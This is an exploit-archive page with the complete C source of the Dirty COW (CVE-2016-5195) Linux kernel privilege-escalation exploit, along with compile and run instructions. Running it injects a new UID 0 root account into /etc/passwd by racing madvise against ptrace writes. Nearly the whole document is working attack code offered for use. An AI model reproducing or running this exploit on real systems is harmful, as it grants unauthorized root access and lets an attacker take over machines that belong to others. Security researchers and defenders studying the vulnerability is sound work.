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Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation
Posted Nov 28, 2016
Authored by FireFart

This exploit uses the pokemon exploit as a base and automatically generates a new passwd line. The original /etc/passwd is then backed up to /tmp/passwd.bak and overwritten with the new line. The user will be prompted for the new password when the binary is run. After running the exploit you should be able to login with the newly created user.

tags | exploit
advisories | CVE-2016-5195
SHA-256 | 302fbe1148d6c5d32476fb30dc9d34045ceec15d40ea123d00c14f4b7996e6b7

Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

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//
// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
//
// Original exploit:
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// To use this exploit modify the user values according to your needs
//
// Compile with
//
// gcc -pthread dirty.c -o dirty -lcrypt
//
// and just run the newly create binary with ./dirty
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//


#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}

void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}

char ch;
FILE *source, *target;

source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}

while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}

printf("%s successfully backed up to %s\n",
from, to);

fclose(source);
fclose(target);

return 0;
}

int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}

struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";

char *plaintext_pw = getpass("Please enter new password: ");
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);

f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}

printf("Done! Check %s to see if the new user was created\n", filename);
printf("You can log in with username %s and password %s.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
filename, backup_filename);
return 0;
}

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